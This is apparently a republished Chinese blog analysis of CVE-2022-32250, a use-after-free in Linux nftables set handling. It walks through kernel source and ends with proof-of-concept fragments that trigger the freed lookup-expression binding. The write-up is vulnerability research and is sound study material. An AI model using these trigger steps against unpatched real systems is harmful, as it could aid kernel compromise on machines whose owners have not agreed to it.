Nftables漏洞原理分析（CVE-2022-32250）

2024-05-06 19:36
文章标签 分析 漏洞 原理 2022 cve nftables 32250

本文主要是介绍Nftables漏洞原理分析（CVE-2022-32250），希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

前言

在nftales中存在着集合(sets)，用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制，它可以用于各种网络过滤和转发规则。

而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。

环境搭建

ubuntu20 + QEMU-4.2.1 + Linux-5.15

.config文件

CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y，开启命名空间

开启KASAN：make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN

image-20240302114337021

在ubuntu20直接安装的libnftnl版本太低，因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载

./configure --prefix=/usr && make
sudo make install

漏洞验证

poc:https://seclists.org/oss-sec/2022/q2/159

在运行poc时，KASAN检测出存在uaf漏洞

image-20240302114613205

漏洞原理

从KASAN给出的信息可知，该漏洞与set有关，因此从set的创建到使用进行源码分析。

在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置，若这些条件不具备则直接返回。

File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206: 			    const struct nlattr * const nla[])
4207: {...//判断创建set的必备条件是否具备
4227: 	if (nla[NFTA_SET_TABLE] == NULL ||
4228: 	    nla[NFTA_SET_NAME] == NULL ||
4229: 	    nla[NFTA_SET_KEY_LEN] == NULL ||
4230: 	    nla[NFTA_SET_ID] == NULL)
4231: 		return -EINVAL;...

集合通过kvzalloc函数开辟空间

File: linux-5.15\net\netfilter\nf_tables_api.c...
4369: 	set = kvzalloc(alloc_size, GFP_KERNEL);
4370: 	if (!set)
4371: 		return -ENOMEM;...

在成功创建集合后，就会进行初始化的过程，有一个变量需要重点关注，即set->bindings。

File: linux-5.15\net\netfilter\nf_tables_api.c...//对集合做初始化
4390: 	INIT_LIST_HEAD(&set->bindings);
4391: 	INIT_LIST_HEAD(&set->catchall_list);
4392: 	set->table = table;
4393: 	write_pnet(&set->net, net);
4394: 	set->ops = ops;
4395: 	set->ktype = ktype;
4396: 	set->klen = desc.klen;
4397: 	set->dtype = dtype;
4398: 	set->objtype = objtype;
4399: 	set->dlen = desc.dlen;
4400: 	set->flags = flags;
4401: 	set->size = desc.size;
4402: 	set->policy = policy;
4403: 	set->udlen = udlen;
4404: 	set->udata = udata;
4405: 	set->timeout = timeout;
4406: 	set->gc_int = gc_int;...

image-20240302153317949

当初始化完毕之后，会去判断创建集合时，该集合是否有需要创建的表达式。

File: linux-5.15\net\netfilter\nf_tables_api.c...//判断是否有表达式需要创建
4416: 	if (nla[NFTA_SET_EXPR]) {
4417: 		expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
4418: 		if (IS_ERR(expr)) {
4419: 			err = PTR_ERR(expr);
4420: 			goto err_set_expr_alloc;
4421: 		}
4422: 		set->exprs[0] = expr;
4423: 		set->num_exprs++;...

在代码[1]处会对表达式进行初始化，紧接着在代码[2]处会对表达式的标志位进行校验，当表达式的标志位不具备NFT_EXPR_STATEFUL属性，那么就会跳转到[3]中进行销毁表达式的处理，紧接着返回错误。这里似乎会存在问题，因为代表[1]与[2]是先创建表达式再检验，就会导致任意的表达式被创建。

File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310: 					 const struct nft_set *set,
5311: 					 const struct nlattr *attr)
5312: {
5313: 	struct nft_expr *expr;
5314: 	int err;
5315: 
5316: 	expr = nft_expr_init(ctx, attr); --->[1]
5317: 	if (IS_ERR(expr))
5318: 		return expr;
5319: 
5320: 	err = -EOPNOTSUPP;
5321: 	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: 		goto err_set_elem_expr;
5323: ...
5334: err_set_elem_expr:
5335: 	nft_expr_destroy(ctx, expr); --->[3]
5336: 	return ERR_PTR(err);
5337: }

回顾KASAN的报告，发现该漏洞与表达式nft_lookup有关，因此接下来关注一下lookup表达式初始化的过程。

帮助网安学习，全套资料S信免费领取：
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）

image-20240302143631008

lookup表达式的结构体如下，可以看到在lookup结构体里存在着binding变量，是上面set会初始化的一个变量。

struct nft_lookup {struct nft_set			*set; //集合u8				sreg; //源寄存器u8				dreg; //目的寄存器bool				invert; struct nft_set_binding		binding;
};

nft_set_bing结构体实则是维护了一个双链表。

struct nft_set_binding {struct list_head		list;const struct nft_chain		*chain;u32				flags;
};

nft_lookup_init函数负责初始化lookup表达式，可以看到需要set与源寄存器都存在的情况下才能够完成创建。

File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096: 			   const struct nft_expr *expr,
097: 			   const struct nlattr * const tb[])
098: {...//检测set与源寄存器的值
105: 	if (tb[NFTA_LOOKUP_SET] == NULL ||
106: 	    tb[NFTA_LOOKUP_SREG] == NULL)
107: 		return -EINVAL;...

紧接着检索需要搜索的set。

File: linux-5.15\net\netfilter\nft_lookup.c...
109: 	set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110: 				    tb[NFTA_LOOKUP_SET_ID], genmask);
111: 	if (IS_ERR(set))
112: 		return PTR_ERR(set);...

最后在完成了set的搜索后，就会进行一个绑定操作，会将表达式的binging接入的set的binding。

File: linux-5.15\net\netfilter\nft_lookup.c...
148: 	err = nf_tables_bind_set(ctx, set, &priv->binding);
149: 	if (err < 0)
150: 		return err;...

首先在绑定之前会校验链表是否是匿名并且非空。

File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607: 		       struct nft_set_binding *binding)
4608: {...
4615: 	if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616: 		return -EBUSY;...

在通过上面的检测后，就会将当前表达式的加入到set中，

File: linux-5.15\net\netfilter\nf_tables_api.c...
4643: 	list_add_tail_rcu(&binding->list, &set->bindings);...

综上所述，bing的作用实则是维护相同set下的不同的表达式。具体流程如下。

在set创建时，会初始化bindings指向自己本身。

image-20240302150148971

紧接着若有lookup表达式创建，并绑定上述的set时，因此通过set的bingdings，可以检索在当前set上的所有expr。

image-20240302150404136

image-20240302153434374

在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL，如[2]所示

5321: 	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: 		goto err_set_elem_expr;

在初始化lookup表达式时，是不会给flags设置值的，因此默认值即为0，因此在创建set的同时创建lookup表达式，lookup表达式的类型是默认为0，是无法绕过检测的。

struct nft_expr_type nft_lookup_type __read_mostly = {.name		= "lookup",.ops		= &nft_lookup_ops,.policy		= nft_lookup_policy,.maxattr	= NFTA_LOOKUP_MAX,.owner		= THIS_MODULE,
};

那么就会进入销毁表达式[3]

5334: err_set_elem_expr:
5335: 	nft_expr_destroy(ctx, expr); --->[3]
5336: 	return ERR_PTR(err);

nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数

File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825: 	nf_tables_expr_destroy(ctx, expr);
2826: 	kfree(expr);
2827: }

在nf_tables_exor_destroy函数会调用表达式的destroy操作

File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762: 				   struct nft_expr *expr)
2763: {
2764: 	const struct nft_expr_type *type = expr->ops->type;
2765: 
2766: 	if (expr->ops->destroy)
2767: 		expr->ops->destroy(ctx, expr); //表达式的删除操作
2768: 	module_put(type->owner);
2769: }

nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数

File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174: 			       const struct nft_expr *expr)
175: {
176: 	struct nft_lookup *priv = nft_expr_priv(expr);
177: 
178: 	nf_tables_destroy_set(ctx, priv->set);
179: }

在nf_tables_destroy_set函数内部中有一个简单的判断，若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞，若我们创建的表达式lookup已经被绑定在set上，因此list_empty(&set->bindings为0，那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。

File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685: 	if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空，以及`set`是否匿名
4686: 		nft_set_destroy(ctx, set);
4687: }

由于lookup->destory不会执行任何操作，就会导致lookup表达式仍然残留在set->bingdings上，但是由于表达式的标志位不能通过校验，随后该表达式就会被释放。

image-20240302152404314

image-20240302153648468

POC分析

首先创建一个名为set_stable的set，为后续创建lookup表达式做准备。

    set_name = "set_stable";nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);

紧接着创建名为set_trigger的set，并同时将标志位设置为NFT_SET_EXPR，那么就能在创建set的同时创建表达式，创建的表达式为lookup表达式，并且搜索的set的名为set_stable，这里需要注意的是，第一个创建的set是为了后续的lookup表达式提供搜索的set，而第二次的set是为了创建set的同时创建lookup表达式，因此第二个set的作用仅仅是为了创建lookup表达式。

    set_name = "set_trigger";nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);exprs[exprid] = nftnl_expr_alloc("lookup");nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);// nest the expression into the setnftnl_set_add_expr(set_trigger, exprs[exprid]);

最后就是触发漏洞，第三次的set同样的也仅仅是为了创建lookup表达式，由于此时名为set_stable的set->bingdings还存在着被释放掉的lookup表达式的指针，因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中，从而导致的uaf漏洞。

    set_name = "set_uaf";nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);exprs[exprid] = nftnl_expr_alloc("lookup");nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);

这篇关于Nftables漏洞原理分析（CVE-2022-32250）的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/965187。

相关文章

Spring Boot Interceptor的原理、配置、顺序控制及与Filter的关键区别对比分析

Spring Boot Interceptor的原理、配置、顺序控制及与Filter的关键区别对比分析

《SpringBootInterceptor的原理、配置、顺序控制及与Filter的关键区别对比分析》本文主要介绍了SpringBoot中的拦截器（Interceptor）及其与过滤器（Filt... 目录前言一、核心功能二、拦截器的实现2.1 定义自定义拦截器2.2 注册拦截器三、多拦截器的执行顺序四、过
阅读更多...
Java 队列Queue从原理到实战指南

Java 队列Queue从原理到实战指南

《Java队列Queue从原理到实战指南》本文介绍了Java中队列（Queue）的底层实现、常见方法及其区别,通过LinkedList和ArrayDeque的实现,以及循环队列的概念,展示了如何高效... 目录一、队列的认识队列的底层与集合框架常见的队列方法插入元素方法对比（add和offer）移除元素方法
阅读更多...
C++ scoped_ptr 和 unique_ptr对比分析

C++ scoped_ptr 和 unique_ptr对比分析

《C++scoped_ptr和unique_ptr对比分析》本文介绍了C++中的`scoped_ptr`和`unique_ptr`,详细比较了它们的特性、使用场景以及现代C++推荐的使用`uni... 目录1. scoped_ptr基本特性主要特点2. unique_ptr基本用法3. 主要区别对比4. u
阅读更多...
SQL 注入攻击(SQL Injection)原理、利用方式与防御策略深度解析

SQL 注入攻击(SQL Injection)原理、利用方式与防御策略深度解析

《SQL注入攻击(SQLInjection)原理、利用方式与防御策略深度解析》本文将从SQL注入的基本原理、攻击方式、常见利用手法,到企业级防御方案进行全面讲解,以帮助开发者和安全人员更系统地理解... 目录一、前言二、SQL 注入攻击的基本概念三、SQL 注入常见类型分析1. 基于错误回显的注入（Erro
阅读更多...
Spring IOC核心原理详解与运用实战教程

Spring IOC核心原理详解与运用实战教程

《SpringIOC核心原理详解与运用实战教程》本文详细解析了SpringIOC容器的核心原理,包括BeanFactory体系、依赖注入机制、循环依赖解决和三级缓存机制,同时,介绍了SpringBo... 目录1. Spring IOC核心原理深度解析1.1 BeanFactory体系与内部结构1.1.1
阅读更多...
Nginx内置变量应用场景分析

Nginx内置变量应用场景分析

《Nginx内置变量应用场景分析》Nginx内置变量速查表,涵盖请求URI、客户端信息、服务器信息、文件路径、响应与性能等类别,这篇文章给大家介绍Nginx内置变量应用场景分析,感兴趣的朋友跟随小编一... 目录1. Nginx 内置变量速查表2. 核心变量详解与应用场景3. 实际应用举例4. 注意事项Ng
阅读更多...
Java多种文件复制方式以及效率对比分析

Java多种文件复制方式以及效率对比分析

《Java多种文件复制方式以及效率对比分析》本文总结了Java复制文件的多种方式,包括传统的字节流、字符流、NIO系列、第三方包中的FileUtils等,并提供了不同方式的效率比较,同时,还介绍了遍历... 目录1 背景2 概述3 遍历3.1listFiles()3.2list()3.3org.codeha
阅读更多...
MySQL 批量插入的原理和实战方法(快速提升大数据导入效率)

MySQL 批量插入的原理和实战方法(快速提升大数据导入效率)

《MySQL批量插入的原理和实战方法(快速提升大数据导入效率)》在日常开发中,我们经常需要将大量数据批量插入到MySQL数据库中,本文将介绍批量插入的原理、实现方法,并结合Python和PyMySQ... 目录一、批量插入的优势二、mysql 表的创建示例三、python 实现批量插入1. 安装 PyMyS
阅读更多...
深入理解Redis线程模型的原理及使用

深入理解Redis线程模型的原理及使用

《深入理解Redis线程模型的原理及使用》Redis的线程模型整体还是多线程的,只是后台执行指令的核心线程是单线程的,整个线程模型可以理解为还是以单线程为主,基于这种单线程为主的线程模型,不同客户端的... 目录1 Redis是单线程www.chinasem.cn还是多线程2 Redis如何保证指令原子性2.
阅读更多...
Java中流式并行操作parallelStream的原理和使用方法

Java中流式并行操作parallelStream的原理和使用方法

《Java中流式并行操作parallelStream的原理和使用方法》本文详细介绍了Java中的并行流（parallelStream）的原理、正确使用方法以及在实际业务中的应用案例,并指出在使用并行流... 目录Java中流式并行操作parallelStream0. 问题的产生1. 什么是parallelS
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2